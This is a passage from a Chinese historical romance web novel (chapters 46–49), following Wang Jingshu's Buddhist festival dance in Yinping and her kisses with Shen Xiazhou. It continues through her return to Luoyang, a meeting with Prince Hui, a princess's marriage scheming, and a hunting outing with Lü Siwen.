她主动与沈遐洲提起她之前欠下的一舞,她可以为佛诞日佛事助阵。 沈遐洲沉默了许久,他答应了,可在女郎见不到的地方,目色几多阴晦还有些茫然,王静姝还是想同他两清吗? 第46章 第46章“我不是随便的人。”…… 时间是非常紧的, 第二日一早就需要带着所借的人重回阴平。 阴平并不大,可为了大势至菩萨日的佛事清理出了游行街道,四处入眼虽仍可见毁坏了的房屋,但经过几日的恢复,与秩序的整理,又听闻有佛事,人心也生出了希望的生机。 王静姝身边的婢女也到了阴平,她们原先被落下,夜阑等人自然是紧着追沈二郎与王娘子,但也不敢就不管王娘子的婢女,只留下了更少的人,走得更慢了些,后来更是停滞不前,直到危机过去,才又接来。 竹沥一边为娘子整理着带来的衣饰,一边心中不痛快,她家娘子,如今竟然沦落到在这样破败的小地方为佛事助阵,他们娘子本该…… 她想不出本该的模样,但总归不会是现在的模样。 王静姝心境却颇为平和,或许是一路见过了流民的生死,她在模仿壁画天女的时候,心觉比过往更能捕捉那一抹神韵。 她能坚持十几年的习舞,本身就对习舞有不一样的情感,这种更精进的发现,无疑比其他所带来的关注更吸引她。 当佛像从阴平的寺庙中被请出时,她也手持莲花登上了由牛车所拉的另一辆车,车驾上有一半丈高宽金箔包就的莲台鼓,宝盖垂曳经文幡帐,四面悬有金铃七宝珠, 周遭法师梵唱,随行乐伎奏《佛谒》,而王静姝初时只手捧莲花灯静立其上,但随着身旁幡鼓与梵唱的变化,她的舞姿也开始发生变化,展臂时而合学礼佛,时而回身侧托,捏指推掌绕腕,每一势都恰合诸佛多般神态变化。 面上的金色珠帘虽遮了她大半的容色,但那微下敛的神姿,恍若壁画中神女再临世间。 车驾在前行,诸多才受得磨难的百姓不由汇行而来,他们受佛音所感,不禁跪下祈愿,愿已逝的亲人往生不再受苦,也祈求苦难过去,灾难与兵刃不再。 王静姝随胡笳与鼓声舞动,手中一盏灯莲,时而静燃,时而随着她的身姿快速连成光亮一线,众人瞧不清她的面容,但披帔长裙,动若飞霞,那一盏跳动的光火,更是直印入了所有人的心中。 王静姝将代表着整个阴平祈愿的莲花灯跟从佛像入了佛殿,继而将莲灯供奉在佛像前。 她的任务也至此完成。 沈遐洲自女郎上莲车时便一直注视着,他的心神被女郎的每一勾手,每一旋动,甚至每一细微的眼波凝动所牵引,他不断为这样光华熠熠的女郎心动,也不断地省视得内心的阴暗,他感到可惜,后悔就应将梓潼的天女也抢过来,不该被众人抢走了独属于他的一舞。 王静姝虔诚地奉完灯,就发现在佛殿昏暗角落等待她的郎君,她走过灯烛,像是携着漫天神佛的光彩走向郎君。 沈遐洲呼吸都跟着凝滞,他觉得自己那一直漏风的心口好像在被什么填满。 王静姝见他呆滞的模样,不由玩心大起,隔着面帘,在他的下巴上亲了一下。 许是女郎太久不曾这样主动过,他也做错事般的小心翼翼,此刻倏地被偷袭一下,像是没有反应过来一般摸了摸自己下颌,双眼也像是被点燃的星子一般渐亮。 他身形足够清雅,身量也高,可这举动偏像稚子一样,透出几分纯粹。 纯粹得足够令人悸动。 王静姝眼眸一眨不眨地望着他,她观察了郎君几日,最后仍旧是觉得唯有这面皮最吸引她,本就是以欺骗与怜惜开始的感情,能走多久从来都是未可知的。 此刻她为心中的悸动屈服,她拉一下郎君,仰着头问:“你方才在想什么?” 这一刻的女郎,好像又回到了更早一些前的时候,她没心没肺地只遵从心动。 沈遐洲为这样的她感到一分熟稔,又更有一分难以把握的心慌,可他又在这一刻更沉浸入了女郎的细语轻问中,那份心慌微乎不可见。 他有些幽若又委屈地道:“你那舞本该属于我一人。” 幽暗的烛光打映在他微垂的玉白面容上,怎么都透着一股的委屈凄楚。 王静姝怎么也没想到他一个人惨惨淡淡地站在昏暗中想的就是这个,怔忡一瞬,哈哈地靠在柱子上笑了起来,“沈九如,你不光是心眼小,气量也小。” “我当你这些日子为了阴平忙前忙后的,这么一支舞不当不舍得。” “而我,也刚好能还了你一舞,是两全其美的好事。” “没想你心里这般舍不得。” “我若是不问,你是不是又要气出个好歹?” 她笑得面颊上的珠帘也乱颤,纤细身形的影子也随着她的笑在浮动不止,简直可恶得令人牙痒。 沈遐洲睁着眼,将女郎的可恶尽收眼底,可他时时刻刻地记得要当个端正的好郎君,一点违矩的举动的都没有,只有握紧的手,还有眼底不时透出的欲色出卖了他,他极想将这个肆意嘲笑他的女郎拥入怀中,用森白牙齿去啃噬轻咬她,甚至将她吞入腹中。 然,也正是在他瞧着女郎想着发怔的时候,他腰间感到一股拉力,被女郎旋身拉入了身旁最大的那根佛柱后,“这舞我其实只跳了一半,后一半我现在跳给你看可好?” 她并未等郎君的回应,身形已如一尾鱼一般从他身前滑走。 阴平太小了,她所编的舞实际是按洛京的景乐寺出发经铜驼街入宫城来编的,若她没有被沈遐洲拐来此,她应会捐大笔的香油钱,想尽办法做大势至菩萨佛诞日的助阵天女,这也是她能立马上手阴平佛事的原因。 这于她而言,本就是计划中的一环,只是地点发生了点变化。 既已无法改变,那就不要浪费。 只见她从沈遐洲身旁退后一步,不再是以各种缓慢佛态为主的舞,她舞步飞旋,纤腰堪折,披帔流动间仿如壁画中要携霞飞走的天女。 她旋身展臂的动作越发的快,甚至在一瞬的功夫中取走了一盏本该置于烛案上的莲灯,莲灯在女郎手中像是有了生命,那火光飘飘曳曳,时而靠近沈遐洲,又倏而远离,女郎身上的珠帘金钏更是鸣动不止,她像是误闯凡尘的女妖,无一不美,也无一不惑人。 直至最后折腰而来,沈遐洲接下那盏莲灯,又恰捞起了舞得身子都在轻颤的女郎。 明明弯折得如蒲草一般的腰肢,却在触碰到郎君臂弯的一瞬,如弓弦一般回复到最初的状态,她俯压着郎君问:“这下可还清了?” 她脖颈上全是湿汗,声音也带着些破碎喘息,可她仍旧坚持着倾身向上凑,继续问:“你要与我试试吗?” 沈遐洲本就不甚清醒的眼眸陡地一缩,王静姝在诱他,她从不是个会忍气吞声的女郎,她忍耐至今,屈服是暂时的,她想睡他? 睡了他之后呢? 不满意就将他抛弃吗? 他推开女郎,面上有绯红浮现,可神情却又端正无比:“我不是随便的人。” 第47章 第47章“这里不行。” 王静姝有些生气地看向沈遐洲。 他不是随便的人,难道她就是了吗? 他当她做下这个决定容易吗? 即便已经知晓丹阳王不会入洛,也不会给她带来威胁,可回不去建业是不争的事实。 回了洛京她仍旧是要议亲的,只有议了亲,压在她身上那不确定的威胁才能彻底结束。 而沈遐洲这个麻烦郎君能不能指望都难说,她才不会将选择只放在他一人身上。 况且他做的那些事只能说是难以计较,而不是真就烟消云散了。 可她实不是一个循规蹈矩的女郎,也实被沈遐洲吸引,既如此,何妨先试一试。 没想,他确实听懂她意思了,可也先矫情上了。 这是沈遐洲第二次拒绝她了,他到底要什么? 爱吗?她这不就是在给他爱吗?她可从未对旁人说过试一试的话来。 而且,她瞧他分明是有些动摇的。 她仰着细长的颈,再 次倾身上前,细燃着的莲灯再次被女郎仆得一跃,薄薄的一重光,将两人的身影拉得细长。 “沈九如,你当真不与我试试吗?过了今日,我或许就没有兴致了。” 她的呼吸也在上扑,温温热热的就浮在郎君的脖颈乃至耳后,肉眼可见的,他一片肌肤都在洇红。 王静姝看得有些发怔,抬起手轻触了他红得不像话的脖颈,肌肤果然很烫,甚至那经络也在她碰上的一瞬喷薄地跳动,呼吸也变得粗重不少。 王静姝做坏地往他颈后吹了吹气。 铜制莲灯落地,发出清脆的一声响,郎君受不得地扣住了她的手,他心口在剧烈起伏,可睁眼间,眸光又泠泠无比,“这里不行。” 王静姝恍然一瞬,她兴起的地方确实不太对,即便佛殿中早已没了旁人,可那漫天的神佛壁画,还有宝相庄严的佛像都在指明这不是个可以胡来的地方。 她启唇欲问些什么。 郎君将她看透般地道:“今日不行。” 王静姝算是明白了,地点不行,时间也不行,或许改日也不行,她简直被他的各种矫情给打败了,目中摇落的兴致也在一点点减少,她微垂下了面容,收手般地减轻了方才扑在郎君身上的力道。 然也是这一瞬的功夫,她好似又听得了郎君的声音:“其他的可以。” 他的这一声清淡似喃,王静姝听得不真切,不解地仰头,郎君也恰在这一瞬亲来,唇落在她的颊畔,继而摸索般地从唇角咬入。 王静姝身子发颤,她被勒着腰身向前送,鼻息交错间,未干的薄汗如绮丽的春情,将两人牢不可分地黏连在一处。 她被亲得身子发软,可眉眼又极舒服地展开。 落地的莲灯顽强无比,至今未灭,只是倾倒下燃得火舌不定,它的焰光那般弱,佛柱后的成片烛光又那般盈盈,明暗的拉锯,将年轻男女的身影也拉得飘忽不定。 这于他们而言足够隐秘,又足够刺激,还有些荒唐。 可王静姝本就是胆大妄为的女郎,而郎君也不见得多理智,他能稳住的唯有不让女郎一次性地满足。 纠缠的身影缓慢分开,女郎迟钝地还未回拢更多的神智,数次的亲吻,她并不排斥,甚至被更多的新奇牵引得想探寻更多,也想试试更多。 她不满地仰头,却不知自己在郎君眼中是何等的艳色,琉璃色眼眸漾着一汪春水,双靥晕红似染霞,唇瓣也嫣红柔软得像一块诱人的甜糕。 沈遐洲俯眼观察得微感失控,他又推开女郎:“待改日,改日我们再试试。” 羞涩,又落荒而逃。 王静姝被一人留在了殿中,迷离的双眸逐渐清明,嫌弃地皱了皱鼻,沈遐洲这个能做出绑人来的郎君,事到临头,竟只敢与她亲亲。 她实在嫌弃,可也有点隐晦的心动,这样的郎君才有些可爱,还有些令人心痒的悸动。 夜风过檐,金铎鸣泽,如佛音一般清心。 这样的鸣响乃至这样的佛诞日佛事也不止一处,甚至更宏大,更喧嚣熙攘。 洛京的景乐寺邀得皇上亲封的护绥神女陶然娘子助阵,一路佛音梵唱与天女舞乐直入宫城拜见帝王与长公主,为洛京最高阶层的那群贵人奉香供灯。 荣耀加身,佛缘深厚,陶然早已不是初入洛京毫无根基人脉,苦等一个机会的寒门女郎,有许多的世家夫人信服她,时常邀她一解佛语,或是宴请作客。 长公主似也因她想起来她的父亲陶敬,虽未有举动,但明显是将其记在了心中,时又有人上书,建议加强吏治,举贤不出世族。 时下的官场,不管是刺史、太守,还是他们举荐的人才,大都是出身世家大族,通过这种相互举荐和门生故吏,世族的势力一直在不断扩大,官场时至今日,发生对立,也无非是一方想维护世家的利益,而一方想打破世家的垄断,将权利收归到皇室的手中。 上书人的建议,本质是长公主所求的,打破推举的垄断,将人才选拔的权利转移到自己的手中,掌握了人才的选拔,才能收拢更多的权利。 长公主虽对上书建议暂不予理会,可其中风向变化已然传播。 她在用这些似是而非的举动试探大族。 有人为窥见的机遇而激动,也有人为此蹙眉抱团,还有人心觉这种对立还不够激化,一团名为权利的旋涡,卷得众人纷纷下场。 当然还有人身在旋涡还不自知,陶然几次在洛京宴请中,试图寻找那个之前嚣张得不可一世的王娘子,却一无所获,听闻是病了在外修养。 而沈府中沈风眠已替代王静姝收到不少问候,远在宜阳的袁夫人更是恼得骂了家中小子,没有一个是省心的,只能装病得长公主的千秋宴都不曾出席,期间也不断写信去往阴平催促。 而阴平流民问题的安置无疑的是缓慢的,不止是阴平所带来的难题,更是秦、雍两州随时会再爆发的天灾影响,还有虎视眈眈的羌胡与鲜卑问题。 八月里,陶敬从雁郡太守一跃成了幽州刺史,收到消息的沈二郎脸色明显变了变,雁郡紧邻并州,而并州的太原是沈家坞堡庄园等所在,其中大哥沈遐光也仍旧驻在此地。 前有崛起的寒门武将,后有司州洛阳,巧合也罢,蓄意也好,长公主这是先将自己人防备上了。 王静姝就是在这样的时候重新回的洛阳,一如既往的繁华,要说有不同,就是许多世家女眷也听说了北边的问题,也不知是谁心善地要为此出一份力,王静姝收到的第一个宴请帖子就是个为展示善心办的赏菊宴。 她离开洛京满打满算也不过两个月,可像是过了许久一般,竟有种恍如隔世之感,她又长高了一些,明妍的脸庞褪去了那微剩的稚气,秀眉红唇,舜华夺目,她身上唯她独有的古艳盛美,更是将她与世间其他的许多美人区别开。 沈风眠见了都双眸微亮地瞧了好一会,继而又无比担忧地叹气,容色太盛注定不会落于普通人家,略普通一些的人家绝对护不住这份美丽,好在她的出身足够好,如今也很是有选择的余地。 她见王静姝是与沈二郎一同回来的,多有打趣,“你与我沈家儿郎可真是缘分不浅,可要我去与我那嫂嫂说道说道,你我两家亲上加亲。” 沈二郎那笑眯了眼,肚子里流出的坏水比黄河还长的模样,光是出现在脑子里,王静姝就打了个寒颤,她连忙摇了头。 沈风眠见此也并不惊讶,沈二郎这个娘家侄儿,与王静姝这个夫家侄女,两人一样的招蜂引蝶,细想想那场景确实不合适。 “你这不像是病了的人,精神得过了头。”沈风眠冷不丁地掀眼道了一句。 显然地那种沈二郎出门游历恰好去了宜阳接回表妹的说辞,她就信了一半,王静姝这个侄女儿身体好得几年都病不上一次,还闲不住的性子,说不得这两个月躲哪去了,只是有袁氏也参与进了遮掩,她便也不多过问,只当不知。 此刻瞧王静姝满脸纠结说不说的模样,也轻笑一声地放过,“罢了,你回去歇息吧。” 王静姝仍旧迟疑地转了转脚尖,似有什么想问。 沈风眠便又是慢悠悠地道:“家中的人都回去了,可放心了?” 王静姝终于绽出了极明媚的笑靥,“小叔母,日后我一定孝敬你。” “我也是,我日后也一定孝敬娘亲。” 王闻礼紧跟着王静姝学舌一句,沈风眠被两人逗得心情甚好,干脆挥手道:“行了,你也同你六姐姐玩去。” 王闻礼是极喜爱王静姝这个堂姐的,得了母亲的放过,放下笔就欢呼着扑向王静姝,要王静姝带他出去玩。 王静姝想着两月未归,正好去瞧瞧寄存在金林玉书阁中的几幅字画如今反响如何了,顺便收收租赁的费用。 她当初带去准备售卖的字画,一副就达到了想要的结果,故而剩下几幅就收了立马售卖的心,而金林玉书阁的掌柜也正需要这样足够吸客的佳 作,便以租赁的方式寄存在了金林玉书阁。 还有借出给惠王的字画,许是因她一直不在洛京中,还未收得还回。 王静姝已许久没有想起惠王这人,此刻乍然想起,竟只有字画一项值得惦记。 可他是真有钱啊。 她尤想着下了马车,还未踏入金林玉书阁中,同她一道出门的王闻礼先瞧见了画糖人的小摊贩,那小贩手艺娴熟,小勺舀一勺糖料,往石板上左扭右扭地慢慢浇铸,黏上竹签,用小铲刀铲起,飞禽、走兽皆是栩栩如生。 王闻礼走不动道地在一旁静看,“六姐姐,我们买几个这个可好,带回去给母亲也瞧瞧。” 王静姝自是无不可,这种小孩的玩意,她全买下都支付得起,财大气粗地吐了一个“买”。 王闻礼一会自己要个老虎的图案,一会又说要给母亲带一个锦鲤,一会又问她喜欢什么。 她当即也半弯下腰地与他一起挑,她挑中一展翅的蝴蝶,见商贩仍旧忙碌着画糖画,脑中忽地浮现总气红眼的郎君,当即与那小商贩道:“再为我画一红眼睛的兔子。” 她强调要是红眼睛的兔子。 糖料熬煮的糖汁颜色并无法选,但她瞧见石板旁还有许多各色的干果,可点缀上去,也就加几文钱的事。 “得嘞。”商贩喜得应道。 一大一小的姐弟二人,正在等着糖画,他们就瞧着商贩画,不时地还提点要求,老虎要凶狠一点,锦鲤的尾巴要长一些。 小的童稚可爱,大的女郎皓齿朱唇,笑靥灼目。 惠王在书阁之上下望许久,下了书阁,在女郎几步处声音悠缓又透着一丝惊喜道:“王娘子,许久不见。” 第48章 第48章剧情 王静姝循声望去,青年郎君温和噙笑,不是惠王又是谁。 王静姝没想这么巧地就在此又遇到了惠王,寒暄几句后重新将注意力放到了糖画之上。 惠王敏锐察觉女郎虽瞧着交往一如往常,却少了几分言语中的勾子,非是女郎昔日语调多勾人,而是少了那种那种能将话题一直进行下去的兴味。 男女之间有意无意其实是非常直白的,有心者,即便是简单的天气晴好与否,都能有说不完的话,无意者,再多的话题摆在眼前也难以进行下去。 而过往,王娘子无疑是前者,二人相交各有示好,往来更是无涩,至今他那还存留着借来的字画,若王娘子有意,他们凭此无疑能继续加深往来。 然则,他方才递出的话头,被王娘子身旁的稚子小儿打断后,就再未被接上。 王闻礼是孩童的心性,但他无疑是机敏的,对王静姝也足够熟悉,察觉六姐姐对来人并不热络,熟练地不断喊六姐姐看糖画。 这是早有的默契,早在建业之时,就常有年轻郎君缠着邀六姐姐看画了、赏花了等等,都是他仗着人小,拯救六姐姐于水火。 王静姝如今也确实不知该如何与惠王交往的好,坏郎君她已经招惹一个了,又麻烦又危险。 而惠王,她是真没能瞧出他是沈遐洲口中会给沈二郎下药的人。 用听来的认知去对比眼前温和浅笑的惠王,怎么对比都怎么诡异,完全辨不出谁更值得信赖一些。 故而,乍然遇见,她言谈中多有克制,好在她没有白疼王闻礼一场,鬼精鬼精的,知晓为她解难。 然,惠王极有耐心,他即便疑惑女郎的转变,也单方面地不显冷淡,他的等待温和且没有攻击性,甚至在女郎与小童拿到糖画时,便示意身边的仆从上前给银子,快过女郎身边的女婢。 王静姝眸中闪过一抹犹豫,几根糖画只是小钱,相识的郎君抢先一步付银子,其实并不算唐突,也没有必要计较地伤了情分,可她瞧了瞧方拿得的红眼兔子,启唇阻止道:“惠王殿下,我与七弟糖画是为送人,不好受殿下恩惠。” 赠人的东西自然是自己花费才显心诚,这样的拒绝惠王理应明白,但无疑的,也有些落了惠王的面子。 惠王自来修养好,面色只略顿一下,睇眼仆从收回手,竹苓也趁此机会给了银子。 “王娘子此次回洛京后,好似有些不一样了。”惠王笑语。 王静姝毕竟年长,不好同王闻礼一般嘴馋地拿到糖画就咬,交给婢女收着,闻得惠王这样一问,心中稍起波澜。 真要说变化的话,她并不觉得自己有多少改变,她只是没有初入洛京时那般急切罢了。 她当时既担忧家中来人将她带回,又担忧在千秋宴上遇得丹阳王,还对夫婿的挑拣上有压沈遐洲一头的念头。 如今千秋宴已避过,家中人也已离开洛京,她紧绷的心神自然就更松散了下来,她有更宽裕的时间去做选择或去与某个郎君磨合。 也正因于此,她变得更挑剔,而惠王这个昔日人选,也同样变得不是特别重要了。 惠王感觉她变了,其实并没有感觉错。 不过她才不承认,扬脸笑道:“殿下定是感觉错了,我不是还是我吗?” 女郎笑靥烂烂如华,半点阴霾也没有,确实还是那个王娘子,甚至那种谁也难折的姿态,更刺激得人跃跃欲试。 足够美丽的女郎,不用更多的理由,就足以令人为她心动。 但惠王也是极有分寸的人,懂得什么样的距离更能获得人好感。 他并不对女郎紧缠不放,而是温和地提起书画的归还,“今日没想能在此遇见王娘子,王公的字画还未谢过娘子,赏菊宴那日再带给娘子如何?” “自然可以。” 王静姝应完才发现自己还是上了套,这不就被套出也要赴宴了吗,但也同样说明惠王与此宴有些关联。 惠王望着的她流露出的惊讶,并不遮掩用意地笑了笑,今日只点到为止地交好,道了还有事,便先离开了。 王静姝的好奇心不免被提了起来,对那赏菊宴也兴趣更浓几分。 与惠王这样的郎君相交其实是非常舒适的,温和体贴,不会过分靠近,又在恰到好处的距离表明自己的心意,他怎么会是会用下作手段给人下药的郎君? 王静姝心中的天平又在动摇,甚至狐疑起沈遐洲那个疯郎君泼脏水的话能信吗? “六姐姐。”王闻礼昂着头,将在出神的王静姝唤醒。 王静姝摸了摸他脑袋,入了书阁,同掌柜的取了这两个月的赁金,掌柜热情的笑脸都挤成山脊一样的褶子,“王娘子,这几幅书画可还需继续寄存?” 凭着王公的字画,书阁中往来的文士较以往翻了一倍不止,光是拓印本就卖了不知几多,他自是希望王娘子能继续将王公的书画寄存,若是还愿意出售就再好不过。 王静姝看出掌柜的心思,想到那有特殊用意的赏菊宴,默念了一句“阿父,你也不忍女儿没钱花吧”,又卖了两幅字画。 离开了书阁,她带着王闻礼闲逛了许久才回沈府,府中并没有那个让她灵光一闪,邀了红眼睛兔子糖画的郎君。 她与沈二郎轻车简行,是为做戏全套,但也比沈遐洲早回到洛京,她捏着那竹签想,沈遐洲如今大概还在归京的路上,可能明日到,也可能后日到。 这留出的无人可扰的两日,有点珍贵也有点无趣,她琢磨着该做些什么地咬了一口蝴蝶形的糖画,而那根兔子糖画被她插放在了小花觚中。 花觚中并无花,但置了冰,能让这糖画多保留时日。 甜滋滋的糖味也从她口腔中漫开,她取笔写下一张邀吕三郎见面的字条,让竹苓送出。 吕三郎是除沈家外,唯一一个知晓她这两月去哪了的郎君,阴平城门匆匆一面,几多惊讶与不解,可惜没有过多的时间去交谈。 后来也没有机会再见,听闻他是在筹粮中被后来得到消息的吕相召回洛京 ,那些以吕相名义几乎是等同开仓抢来的粮,也非是他自己送往阴平。 她想知晓吕三郎如今是如何了,再者吧,也希望吕三郎能帮忙保守这个秘密,她并不想太多的人知晓她去过阴平,她与沈遐洲那说不清理还乱的关系,怎么想都是个麻烦。 她至今也想不明白长公主为何不喜她。 而且怎会有做母亲的自己揭孩子的短呢,还是那种几近赤、裸地将沈遐洲隐晦的一面展示出来,不但以此来试图吓跑她。 还扯出了丹阳王警醒她。 她虽然自小就没有母亲,但也见过旁人的母亲是什么样的,爱子当为其计之深远。 总之,绝对不会是长公主那样的。 她有点抗拒被更多人知晓她与沈遐洲那些私下底的纠缠,也抗拒被长公主知晓,她没有与之抗衡的能力。 她是胆大妄为,可不是不要命。 一旦回到洛京,她就控制不住地想着这些事,口中的糖也变得没有滋味,她就说沈遐洲是个大麻烦,可他非要来纠缠她,而她也又心动又苦恼。 与此同时,皇城内宫。 堆满奏折文书的桌案后,长公主一身华贵宫装,闭目由一个有些年岁的女婢为她揉按额穴。 她依旧肤光胜雪,只眼角透出些风霜与疲色,紧蹙的眉心也显着她的心情不愉,可她唇角却又是向上勾着,谁也琢磨不透长公主到底是何想法。 在这极其安静的宫殿中,也不知她是与何人说话:“到底是我赢了,我们的孩子同我更相像一些。” 她的孩子,同她一样的为达目的不择手段,阴平一行,将暴动安排处置得异常完美,就连将女郎绑走的手段也与她昔日像了十足十。 愉悦不过一瞬,她又阴沉下脸地睁眼,为她揉按额穴的女婢惶恐地下跪,无人敢直视这个天下最尊贵的女人。 “下去。” 漱阳长公主挥退了殿中仆侍,独她一人的宫殿空敞又透着几分空寂的森冷,她一会为自己更胜一筹发笑,又一会暴怒低语:“你为何不给我回信?” “要怎样你才肯重回洛京见我?” “三郎的婚事,你沈家未来的女主人你也不在乎是谁吗?” “三郎喜爱王家女郎,可那女郎我实不喜,三郎竟为了这女郎数次不再听我话。” “王家也不是好的,一面与你沈家姻亲,一面又想与丹阳王交好,这些南地的士族都一样的养不熟,几朝过去了,还一堆心思。” 她目中狂意涌动,低喃越发带着一种癫魔,“北地的士族也一样,所有人都一样。” “我不会让三郎娶他喜爱的女郎,他一定会去请你的……” 似想到什么的,她的情绪又渐稳,对着铺在案上的信纸露出了诡异的笑,朝殿外吩咐道: “将陶娘子请来。” 翌日,在沈三郎还未归京时,洛京中已隐隐有了个流言,长公主有意为沈家三郎和陶娘子赐婚。 最先听得流言的沈二郎差点从椅上摔下,疯了,真是一个比一个疯。 大张旗鼓地道沈家要与寒族联姻,那不是将沈家架在火上烤吗? 他焦急走至房外,又倒回房中,对,要先告知大伯一声,还有大哥和父亲…… 沈二郎一连写了数封信,送出后瘫靠在靠椅之上,倏地,又惊坐起,表妹,表妹那里他也要亲去一趟瞧瞧。 然,行至流虹院,却被告知王娘子不在,出门会友了。 第49章 第49章“与我何干?” 八月的天气已没有前两个月那般又热又熏蒸,加之林间绿树遮蔽,扑在身上的温度就更适宜了。 王静姝对吕三郎的邀请非常直接,田猎。 一段时日不见,吕三郎消沉了不少,骑在马上的郎君即便是笑,也不如初见时那样肆意飞扬。 王静姝瞳仁微动地有些同病相怜,她一夹马肚,跑得超过吕三郎几丈远,复而一扯缰绳,扭头:“吕郎君,此日风光甚好,不如我们再比上一比。” 女郎高坐马背,阳光自后照来,吕思温不知是被光晃了眼,还是被女郎莹白的面容所惑,微眯了眼,继而心中也生出一腔想要发泄郁愤,拍马上前:“好,六娘子承让。” 马蹄飞纵,风过林梢,也将年少的郎君与女郎心中郁愤与不快尽数吹散,众人只见自家郎君和女郎忽地就较量上了,谁也不让谁地加快速度,有时候是衣带翩扬的女郎快上一点,有时又是劲衣黑袍的郎君快上一些。 他们慢慢地就跟不上了视线,也追不上两位主子的速度。 酣畅至极的一场比试,跑至最后其实谁也不再去在乎谁赢谁输,只是为了让自己胸腔更畅快一些,也更寻回了自己本该的模样。 吕三郎仍旧是那个没经权利倾轧,畅快做自己事,心中有满腔抱负的洒脱郎君。 而王静姝也仍是那个心气高又明妍的建业女郎。 他们慢慢在藏在葱郁林木间的湖畔停下。 “六娘子因何不快?”吕思温按着马辔,额角有汗,但精神却焕然地看向并行的女郎问。 王静姝不答反问:“吕郎君又因何郁愤?” 两人倏地相视而笑,吕三郎望着悠荡白云,先开了口:“我满心抱负,原以为去了阴平能有所施展,可到了才发现,我一筹莫展。” 那暴动非单靠武力能解决,阴平流民武装能成气候,盖因许多郡县官员早前的独善其身,不接受甚至驱赶太多,才以至那些流民联结成了一股绳。 强压夺回固然简单,可事后的疏散安置才是许多人更在意的,担忧会担责,也担忧被触及了利益,所以他总是调不动地方兵马。 而他也是之后才知,吕相会放任他去历练,也是早就做好了准备将沈三郎也坑去,他打头阵,后头的麻烦事料理都扔给沈三郎,流民的安置,做得好声名具有,做的不好,声名具毁,吕相算到了许多,唯独没算到自己儿子是个直肠子,将他的脸面都用在了压迫当地豪强的筹粮上了。 吕相收到消息后,怒其不争,召回了吕思温。 吕思温被关在家中反省许久。 这种打击于少年人而言,几乎是极挫败的,挫败于他明明能做更多,可不能做。 吕思温甩开这些又漫上心头的无力与挫败,心中的微涩地问向女郎:“六娘子,好似不唤我三郎了,是因为沈三郎吗?” 王静姝容色微怔,她好似自己都没有意识到这一点,下意识地就避开了这个称呼。 她眉目也微蹙了起来,沈遐洲实在是个病得不轻的郎君,心眼小的什么都要计较,都伤得躺床上喝药了,还病歪歪地同她计较称呼问题。 吕思温目色失落地下暗,又听女郎道:“清游,日后我唤你清游吧。” “这样好分辨一些。” 吕思温才冒出的喜悦又被女郎的后一句话打击得体无完肤,其实他还想问王娘子为何会出现在阴平,也是因为沈三吗?可到了现在也问不出了。 王娘子只是因为家中行几一样,就轻易规避了对他的称呼。 如此,哪还需要再多问呢。 也是这时,王静姝偏移了马头的方向,请求向吕思温:“清游,我今日邀你田猎,实为还有一事相求。” “六娘子但说无妨。”吕思温藏起那低落,目光清朗明亮。 “清游在阴平见过我,可否当做你我之间的一个秘密。” “六娘子原是为这事,我从未与人提起过此事。”只是数次放在心中奇怪罢了,似为了让自己有个答案,他终还是问道:“六娘子怎会去的阴平?”他停顿一下,一口气问出:“也是为了沈三郎吗?” 王静姝被问得一时不知该如何答的好,只觉得吕思温不但倔强得紧,猜得也准,接连提到沈三郎,她下马牵行,思量着有些话或许需要说清楚:“清游猜得没错,我确实是因沈遐洲才去的阴平,但不是为了他而去。” 一字之差,却相差甚远,前者可以有很多的原因,后者却只有指向沈三郎的一个原因。 既事出有因,那他是否还有机会? 吕思温又涌上希望地想,然女郎的话并未说完—— “三表哥慕 我,而我也有些喜爱他。” 王静姝坦坦荡荡地承认着自己的情思,却斩断了眼前人的情思。 “六娘子其实不必与我说这些。”吕思温的心被女郎的回答来回地高悬晃荡,最后终于是死了地道:“我不会同旁人说的。” “也愿六娘子与沈三郎能有情人终成眷属。”吕思温无比苦涩地说着违心话。 得了想要答案的王静姝,被吕思温恭祝得心生了不自在,她承认自己的心思,是不想欺骗了吕三郎,不是就认定沈遐洲了。 罢了,都怪沈遐洲,她昔日看好的郎君,一连被斩断了两。 好在她如今并不是异常急切。 王静姝心中如此宽慰了半响,才将那些不自在甩开,又与吕思温绕水而行片刻,望得仆从们追上,才道了分别。 回城是走的大道,离洛京的定鼎门最为近,又因这城门的方位可直通皇城,一路上倒是常与一些装饰华丽的马车和牛车相遇,偶尔还能瞄见其上相熟的族徽。 又与一遍覆帷幔的通幰车相遇而过时,忽地从中传出一女子声音:“是王娘子吗?” 王静姝勒马,偏眼望去。 帷幔掀开,露出一张眼熟,却又陌生的女子脸庞。 眼熟是因王静姝确实认识此人,陌生又是因此人不管是姿态,还是遍身绫罗装扮都与以往不同,处处显着高调与富贵。 是只见过两面的陶然陶娘子。 王静姝微改了驭马姿势,特制的弓也持放到了身前,她神色漫然,但又多有防备,她只与陶然见过两面,但每次都不甚愉快,甚至敌对,第一次是同拜访陆先生,第二次是端午祭的拔选,她尤记得此人寻到她面前,说了许多似是而非的话。 那些话真真假假,无非是在说明着其与沈遐洲的关系斐然,又试图挑动着她的怒火。 那时她没有将陶然放在眼里,对陶然的寻衅也一概忽视,她想较量的郎君唯有沈遐洲,想问责的郎君也唯有沈遐洲。 如今再遇得陶然,她多有些厌恶,总觉得这人定吐不出什么好话来。 果然,开口就是一把捏着放不开嗓子,柔是柔了,听着总不得劲,她需要用更多的思绪控制着自己的注意去听她说了什么。 “王娘子,你这是去打猎了吗?”陶然惊问。 王静姝乜斜她一眼,田猎与打猎本质并无不同,但说法不同,其中所蕴的礼法也不同,打猎是为维持生计,而田猎出于周礼的四时田猎,有“不麑卵,不杀胎,不殃夭,不覆巢”之说。 陶然也不知是有意还是无意,将两者混为一谈地有暗贬之意。 王静姝从不是个好脾气的娘子,手指在弓弦上拨动一下,目光也落在了陶然那摇晃的钗髻上,她离开洛京两月有余,不知陶然是又有何际遇,但她应不至于得罪不起,她掀眼透凉地笑道:“天都要黑了,陶娘子这是去哪?” 陶然尤不知被她精心妆点过的发髻已被盯上,她盯着女郎姣好的容颜,带着一种审视的优越感道:“王娘子病离洛京,恐怕还未听过秦、雍和阴平之事吧,朝中乃至长公主都在为赈灾苦恼,我与一些夫人娘子也想尽一份力,特请了惠王与我一同办了一场赏菊宴,不论是女郎们还是郎君们,尽可将自己的一些衣物、首饰或是钱财珍宝捐出,到时一同请商人换成受难百姓能用的送出。” 像是才察觉自己没有说到点子上地抿唇一笑,“有一位重要的宾客,我想亲去迎一迎。”又抬眼问:“到时王娘子可会来?” 托陶然的福,王静姝总算知晓这个赏菊宴到底是怎么个由来,也觉得有些好笑。 陶然话语中左拉右扯,不断证明自己认识了多了不起的人物,又办了什么事情,可这与她又有何干? 